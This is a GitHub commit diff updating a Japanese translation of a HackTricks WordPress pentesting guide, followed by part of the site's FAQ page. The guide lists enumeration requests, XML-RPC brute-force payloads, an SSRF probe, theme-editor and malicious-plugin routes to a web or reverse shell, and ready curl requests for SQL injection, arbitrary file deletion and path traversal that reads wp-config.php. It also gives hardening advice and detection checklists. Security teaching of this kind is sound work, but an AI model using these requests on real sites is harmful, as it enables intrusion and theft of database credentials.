mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
24d2d9f2ee
commit
6a98f1ea00
@ -5,14 +5,14 @@
|
||||
## 基本情報
|
||||
|
||||
- **アップロードされた**ファイルは次の場所にあります: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **テーマファイルは/wp-content/themes/にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマtwentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **テーマファイルは /wp-content/themes/ にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマ twentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **wp-config.php**にはデータベースのルートパスワードが含まれています。
|
||||
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **主要なWordPressファイル**
|
||||
### **主なWordPressファイル**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt`には、インストールされているWordPressのバージョンなどの有用な情報が含まれています。
|
||||
@ -23,14 +23,14 @@
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php`は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressの[REST API](https://developer.wordpress.org/rest-api/reference)に置き換えられました。
|
||||
- `wp-content`フォルダは、プラグインとテーマが保存される主要なディレクトリです。
|
||||
- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。
|
||||
- `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。
|
||||
- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類法を含むサイトマップXMLファイルを生成します。
|
||||
- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。
|
||||
|
||||
**ポストエクスプロイト**
|
||||
|
||||
- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この構成ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。
|
||||
- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。
|
||||
|
||||
### ユーザー権限
|
||||
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
## **パッシブ列挙**
|
||||
|
||||
### **WordPressバージョンの取得**
|
||||
### **WordPressのバージョンを取得**
|
||||
|
||||
`/license.txt`または`/readme.html`ファイルを見つけられるか確認します。
|
||||
|
||||
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### プラグインとテーマ
|
||||
|
||||
すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、これらのリストを含む自動化ツールがあります)。
|
||||
すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
|
||||
|
||||
### ユーザー
|
||||
|
||||
@ -87,17 +87,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
レスポンスが**200**または**30X**の場合、それはidが**有効**であることを意味します。レスポンスが**400**の場合、idは**無効**です。
|
||||
レスポンスが **200** または **30X** の場合、id は **有効** です。レスポンスが **400** の場合、id は **無効** です。
|
||||
|
||||
- **wp-json:** ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです:
|
||||
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
このエンドポイントは、投稿を行ったユーザーのみを公開します。 **この機能が有効なユーザーに関する情報のみが提供されます**。
|
||||
このエンドポイントは、投稿を行ったユーザーのみを公開します。**この機能が有効なユーザーに関する情報のみが提供されます**。
|
||||
|
||||
また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。
|
||||
|
||||
@ -105,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます[ using this](https://github.com/relarizky/wpxploit) など)。
|
||||
`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます[これを使用して](https://github.com/relarizky/wpxploit) 例えば)。
|
||||
|
||||
アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスし、このリクエストを送信してください:
|
||||
|
||||
@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**クレデンシャルブルートフォース**
|
||||
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`**、または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -172,7 +172,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**2FAのバイパス**
|
||||
|
||||
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じて行えるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
|
||||
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
|
||||
|
||||
**DDoSまたはポートスキャン**
|
||||
|
||||
@ -189,7 +189,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**faultCode**の値が**0**より**大きい**(17)の場合、ポートが開いていることを意味します。
|
||||
**faultCode**の値が**0**(17)より**大きい**場合、ポートが開いていることを意味します。
|
||||
|
||||
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。
|
||||
|
||||
@ -215,7 +215,7 @@ Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送信するかもしれません。
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送るかもしれません。
|
||||
|
||||
動作しないときのレスポンスは次のとおりです:
|
||||
|
||||
@ -244,11 +244,11 @@ return new WP_Error(
|
||||
```
|
||||
## **パネル RCE**
|
||||
|
||||
**使用しているテーマのphpを変更する(管理者の資格情報が必要)**
|
||||
**使用しているテーマの php を変更する(管理者の資格情報が必要)**
|
||||
|
||||
外観 → テーマエディタ → 404テンプレート(右側)
|
||||
外観 → テーマエディタ → 404 テンプレート(右側)
|
||||
|
||||
phpシェルの内容に変更します:
|
||||
php シェルの内容に変更します:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -275,11 +275,11 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
プラグインをアップロードし、「今すぐインストール」を押します:
|
||||
プラグインをアップロードし、今すぐインストールを押します:
|
||||
|
||||
.png>)
|
||||
|
||||
「続行」をクリックします:
|
||||
続行をクリックします:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -287,7 +287,7 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
アクセスすると、リバースシェルを実行するための URL が表示されます:
|
||||
それにアクセスすると、リバースシェルを実行するための URL が表示されます:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,27 +295,27 @@ to get a session.
|
||||
|
||||
この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用できます。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます:
|
||||
|
||||
1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。
|
||||
1. **プラグインの取得**: プラグインは、[**こちら**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。
|
||||
2. **プラグインのインストール**:
|
||||
- WordPress ダッシュボードに移動し、`ダッシュボード > プラグイン > プラグインのアップロード`に進みます。
|
||||
- ダウンロードしたプラグインの zip ファイルをアップロードします。
|
||||
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
|
||||
4. **悪用**:
|
||||
- プラグイン「reflex-gallery」をインストールして有効化すると、脆弱性が知られているため悪用できます。
|
||||
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
|
||||
- これは WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。
|
||||
- "reflex-gallery" プラグインがインストールされ、有効化されると、脆弱性が知られているため悪用できます。
|
||||
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メータープリタセッションを確立し、サイトへの不正アクセスを許可します。
|
||||
- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことが記載されています。
|
||||
|
||||
この内容には、プラグインのインストールと有効化の手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。
|
||||
コンテンツには、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。
|
||||
|
||||
**詳細な手順については、次を確認してください:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## XSS から RCE へ
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
|
||||
- _**権限昇格:**_ WordPress にユーザーを作成します。
|
||||
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。
|
||||
- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。
|
||||
- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。
|
||||
- _**特権昇格:**_ WordPress にユーザーを作成します。
|
||||
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ WordPress にカスタムプラグイン (バックドア) をアップロードします。
|
||||
- _**(RCE) ビルトインプラグインの編集:**_ WordPress のビルトインプラグインを編集します。
|
||||
- _**(RCE) ビルトインテーマの編集:**_ WordPress のビルトインテーマを編集します。
|
||||
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。
|
||||
|
||||
## ポストエクスプロイト
|
||||
@ -336,7 +336,7 @@ Wordpressプラグインが機能をどのように公開するかを知るこ
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介してです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて認証と認可を行うことがよくあります(役割に関係なく)。
|
||||
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて認証と認可を行うことがよくあります(役割に関係なく)。
|
||||
|
||||
これらは、プラグイン内で関数を公開するために使用できる関数です:
|
||||
```php
|
||||
@ -362,21 +362,21 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
|
||||
|
||||
**組み込みの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。**
|
||||
**ビルトインの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。**
|
||||
|
||||
- **PHPファイルへの直接アクセス**
|
||||
|
||||
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、任意のユーザーによって悪用される可能性があります。
|
||||
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能になります。
|
||||
|
||||
### wp_ajax_noprivを介した認証されていない任意のファイル削除 (Lithoテーマ <= 3.0)
|
||||
### wp_ajax_noprivを介した認証なしの任意ファイル削除 (Lithoテーマ <= 3.0)
|
||||
|
||||
WordPressのテーマやプラグインは、頻繁に `wp_ajax_` および `wp_ajax_nopriv_` フックを通じてAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションはさらに以下を実装する必要があります:
|
||||
WordPressのテーマやプラグインは、しばしば `wp_ajax_` および `wp_ajax_nopriv_` フックを通じてAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の機密アクションは追加で以下を実装する必要があります:
|
||||
|
||||
1. **権限チェック**(例:`current_user_can()` または少なくとも `is_user_logged_in()`)、および
|
||||
2. **CSRFノンス**を `check_ajax_referer()` / `wp_verify_nonce()` で検証し、そして
|
||||
3. **厳格な入力のサニタイズ / バリデーション**。
|
||||
|
||||
Lithoマルチパーパステーマ(< 3.1)は、*フォントファミリーの削除*機能においてこれらの3つの制御を忘れ、以下のコード(簡略化されたもの)を出荷しました:
|
||||
Lithoマルチパーパステーマ(< 3.1)は、*フォントファミリーの削除*機能においてこれらの3つのコントロールを忘れ、以下のコード(簡略化されたもの)を出荷しました:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -403,7 +403,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
|
||||
#### 悪用
|
||||
|
||||
攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリの下にある**任意のファイルまたはディレクトリを削除できます(通常は `<wp-root>/wp-content/uploads/`)。
|
||||
攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリ以下の**任意のファイルまたはディレクトリを削除できます(通常は `<wp-root>/wp-content/uploads/`)。
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -413,13 +413,13 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
|
||||
他の影響力のあるターゲットには、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを破るため)や `.htaccess` ルールが含まれます。
|
||||
|
||||
#### 検出チェックリスト
|
||||
#### Detection checklist
|
||||
|
||||
* `add_action( 'wp_ajax_nopriv_...')` コールバックでファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出すもの。
|
||||
* パスへのサニタイズされていないユーザー入力の連結(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `add_action( 'wp_ajax_nopriv_...')` コールバックでファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出しているもの。
|
||||
* パスへの未サニタイズのユーザー入力の連結(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` および `current_user_can()`/`is_user_logged_in()` の不在。
|
||||
|
||||
#### ハードニング
|
||||
#### Hardening
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -439,8 +439,8 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください:
|
||||
> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限 (例: `realpath()` と `str_starts_with()` を使用)。
|
||||
> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください:
|
||||
> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限(例:`realpath()` と `str_starts_with()` を使用)。
|
||||
|
||||
---
|
||||
|
||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
### 定期的な更新
|
||||
|
||||
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください:
|
||||
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -467,11 +467,67 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- デフォルトの**admin**ユーザーを削除する
|
||||
- **強力なパスワード**と**2FA**を使用する
|
||||
- 定期的にユーザーの**権限**を**レビュー**する
|
||||
- ブルートフォース攻撃を防ぐために**ログイン試行回数を制限**する
|
||||
- ブルートフォース攻撃を防ぐために**ログイン試行回数**を制限する
|
||||
- **`wp-admin.php`**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
|
||||
|
||||
### 不十分な検証による認証されていないSQLインジェクション (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portalリクルートメントプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
このスニペットによって引き起こされる問題:
|
||||
|
||||
1. **サニタイズされていないユーザー入力** – `parentid` はHTTPリクエストから直接取得されます。
|
||||
2. **WHERE句内の文字列連結** – `is_numeric()` / `esc_sql()` / 準備されたステートメントがありません。
|
||||
3. **認証されていない到達可能性** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRFノンス** (`wp_verify_nonce()`)、これは任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。
|
||||
|
||||
#### 悪用
|
||||
|
||||
1. 新しいノンスを取得します:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid` を悪用して任意のSQLを注入します:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
レスポンスは注入されたクエリの結果を開示するか、データベースを変更し、SQLiを証明します。
|
||||
|
||||
### 認証されていない任意のファイルダウンロード / パストラバーサル (WP Job Portal <= 2.3.2)
|
||||
|
||||
別のタスク、**downloadcustomfile** は、訪問者がパス・トラバーサルを介して **ディスク上の任意のファイル** をダウンロードできることを許可しました。 脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` は攻撃者が制御可能で、**サニタイズなし**で連結されます。再度、唯一のゲートは、履歴ページから取得できる **CSRF nonce** です。
|
||||
|
||||
#### 攻撃
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
サーバーは `wp-config.php` の内容を返し、DBの資格情報と認証キーを漏洩させます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Lithoテーマにおける認証されていない任意のファイル削除脆弱性](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Lithoテーマにおける認証されていない任意ファイル削除の脆弱性](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portalプラグインに修正された複数の重大な脆弱性](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -13,9 +13,9 @@
|
||||
> - コミュニティが公開する素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
|
||||
> - **他の人からのクレジットは必要ありません**、私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - 私たちはHackTricksで**自分たちの研究**も書きます。
|
||||
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を記載し、**詳細については**元の投稿を訪れることを推奨します**。
|
||||
> - いくつかのケースでは、技術の重要な部分の**要約をHackTricksに書き**、**詳細については元の投稿を訪れることを読者に勧めます**。
|
||||
> - 本の中のすべてのハッキング技術を**整理**して、**よりアクセスしやすく**します。
|
||||
> - HackTricksチームは、**コンテンツを整理するためだけに**何千時間も無料で捧げており、人々が**より早く学べる**ようにしています。
|
||||
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**何千時間も無料で捧げています。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
>
|
||||
> - **これらのリソースに感謝します、どうやってお礼を言えますか?**
|
||||
|
||||
HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートで公開することができます。\
|
||||
HackTricksチームに感謝の意を表するには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートで公開することができます。\
|
||||
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop)。\
|
||||
そして、**Githubプロジェクトにスターを付けるのを忘れないでください!**(リンクは下にあります)。
|
||||
|
||||
@ -42,9 +42,9 @@ HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricksからコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
> - **HackTricksのコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
|
||||
はい、できますが、**コンテンツがどこから取られたかの特定のリンクを忘れずに言及してください**。
|
||||
はい、できますが、**コンテンツがどこから取られたかの具体的なリンクを忘れずに言及してください**。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
HackTricksの書籍が**商業目的**で作られていると思うなら、あなたは**完全に間違っています**。
|
||||
|
||||
私たちはスポンサーを持っています。なぜなら、すべてのコンテンツが無料であっても、私たちの仕事を**評価する機会をコミュニティに提供したい**からです。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
|
||||
私たちはスポンサーがいるのは、すべてのコンテンツが無料であっても、**コミュニティが私たちの仕事を評価する可能性を提供したいからです**。そのため、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
|
||||
|
||||
HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ他のブログのように、煩わしい広告で溢れていることはありません。なぜなら、HackTricksは商業目的で作られていないからです。
|
||||
|
||||
@ -84,25 +84,25 @@ HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ
|
||||
>
|
||||
> - **HackTricksのページが私のブログ投稿に基づいているが、参照されていない場合はどうすればよいですか?**
|
||||
|
||||
**申し訳ありません。これは起こるべきではありませんでした**。HackTricksのページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
|
||||
**申し訳ありません。これは起こるべきではありません**。HackTricksのページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **私のブログのコンテンツがHackTricksにあり、そこに置いてほしくない場合はどうすればよいですか?**
|
||||
|
||||
HackTricksにあなたのページへのリンクがあることは次のような利点があります:
|
||||
HackTricksにあなたのページへのリンクがあることは:
|
||||
|
||||
- あなたの**SEO**を改善します
|
||||
